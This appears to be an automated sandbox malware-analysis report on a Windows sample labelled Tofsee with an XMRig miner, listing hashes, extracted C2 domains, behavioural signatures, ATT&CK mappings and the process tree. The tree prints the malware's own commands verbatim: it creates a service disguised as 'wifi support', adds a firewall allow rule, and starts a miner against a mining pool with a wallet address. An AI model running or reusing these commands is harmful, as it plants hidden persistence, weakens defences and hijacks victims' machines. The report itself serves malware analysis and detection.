Analysis

  • max time kernel
    170s
  • max time network
    175s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-11-2022 16:24

General

  • Target

    file.exe

  • Size

    150KB

  • MD5

    2c7fef3be2816a8e7817857936d0b30d

  • SHA1

    244e5a9674d386c1c179532d02e775ec09fc85f5

  • SHA256

    9dd37088a9391d314eaf5b8c6ecfe7e64c07cfb7f86abb250b7d743478ca189b

  • SHA512

    f2211862335c0e6c5540af40fbcff688f7c643a771ea436126f367ac3cceb74352c6c2cbf2dbda45e809138e1ab1bac7f55832798a7dfb4b15139eb4b1a0819c

  • SSDEEP

    3072:M0QRwqrq5cmFhuOTJJv5K5z/r9I0yOZxcyBZyHWmHkNj6I5eaVX:OO51YiJO5zz9IkxRMHkNn5eaJ

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4684
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\sgevlccm\
      2⤵
        PID:1884
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\bvlcfdgp.exe" C:\Windows\SysWOW64\sgevlccm\
        2⤵
          PID:4824
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create sgevlccm binPath= "C:\Windows\SysWOW64\sgevlccm\bvlcfdgp.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3676
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description sgevlccm "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2092
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start sgevlccm
          2⤵
          • Launches sc.exe
          PID:2432
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2324
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4684 -s 788
          2⤵
          • Program crash
          PID:2360
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4684 -ip 4684
        1⤵
          PID:224
        • C:\Windows\SysWOW64\sgevlccm\bvlcfdgp.exe
          C:\Windows\SysWOW64\sgevlccm\bvlcfdgp.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:3500
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:3164
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2956
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3500 -s 516
            2⤵
            • Program crash
            PID:4188
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 3500 -ip 3500
          1⤵
            PID:4316

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\bvlcfdgp.exe
            Filesize

            11.9MB

            MD5

            5c9410d17e611b2ed2f539738329a488

            SHA1

            e24d0a708f6ac86155106df025470ef8b108cd72

            SHA256

            800fc3b974981201c12ddd486eba06f29903392a8c203c71a5669c0554734c42

            SHA512

            a7a92f9e77c8a429449cc65a8d0845171c61c8a463f4f3f70c7a16d21edc1a27936c2d1b2e64e8fea22c0dc2bbbcbd04177a3b1d7f0bc93bb3c395361a08aa37

          • C:\Windows\SysWOW64\sgevlccm\bvlcfdgp.exe
            Filesize

            11.9MB

            MD5

            5c9410d17e611b2ed2f539738329a488

            SHA1

            e24d0a708f6ac86155106df025470ef8b108cd72

            SHA256

            800fc3b974981201c12ddd486eba06f29903392a8c203c71a5669c0554734c42

            SHA512

            a7a92f9e77c8a429449cc65a8d0845171c61c8a463f4f3f70c7a16d21edc1a27936c2d1b2e64e8fea22c0dc2bbbcbd04177a3b1d7f0bc93bb3c395361a08aa37

          • memory/1884-135-0x0000000000000000-mapping.dmp
          • memory/2092-141-0x0000000000000000-mapping.dmp
          • memory/2324-143-0x0000000000000000-mapping.dmp
          • memory/2432-142-0x0000000000000000-mapping.dmp
          • memory/2956-179-0x0000000000800000-0x00000000008F1000-memory.dmp
            Filesize

            964KB

          • memory/2956-174-0x0000000000800000-0x00000000008F1000-memory.dmp
            Filesize

            964KB

          • memory/2956-173-0x0000000000000000-mapping.dmp
          • memory/3164-155-0x0000000002E00000-0x000000000300F000-memory.dmp
            Filesize

            2.1MB

          • memory/3164-167-0x0000000007C00000-0x000000000800B000-memory.dmp
            Filesize

            4.0MB

          • memory/3164-170-0x0000000000DD0000-0x0000000000DD7000-memory.dmp
            Filesize

            28KB

          • memory/3164-164-0x0000000000DC0000-0x0000000000DC5000-memory.dmp
            Filesize

            20KB

          • memory/3164-161-0x0000000000DB0000-0x0000000000DC0000-memory.dmp
            Filesize

            64KB

          • memory/3164-158-0x0000000000DA0000-0x0000000000DA6000-memory.dmp
            Filesize

            24KB

          • memory/3164-154-0x0000000000D10000-0x0000000000D25000-memory.dmp
            Filesize

            84KB

          • memory/3164-148-0x0000000000000000-mapping.dmp
          • memory/3164-149-0x0000000000D10000-0x0000000000D25000-memory.dmp
            Filesize

            84KB

          • memory/3164-153-0x0000000000D10000-0x0000000000D25000-memory.dmp
            Filesize

            84KB

          • memory/3500-152-0x0000000000400000-0x000000000045A000-memory.dmp
            Filesize

            360KB

          • memory/3500-147-0x0000000000400000-0x000000000045A000-memory.dmp
            Filesize

            360KB

          • memory/3500-146-0x0000000000678000-0x0000000000689000-memory.dmp
            Filesize

            68KB

          • memory/3676-140-0x0000000000000000-mapping.dmp
          • memory/4684-132-0x00000000006ED000-0x00000000006FD000-memory.dmp
            Filesize

            64KB

          • memory/4684-145-0x0000000000400000-0x000000000045A000-memory.dmp
            Filesize

            360KB

          • memory/4684-137-0x0000000002070000-0x0000000002083000-memory.dmp
            Filesize

            76KB

          • memory/4684-136-0x00000000006ED000-0x00000000006FD000-memory.dmp
            Filesize

            64KB

          • memory/4684-134-0x0000000000400000-0x000000000045A000-memory.dmp
            Filesize

            360KB

          • memory/4684-133-0x0000000002070000-0x0000000002083000-memory.dmp
            Filesize

            76KB

          • memory/4824-138-0x0000000000000000-mapping.dmp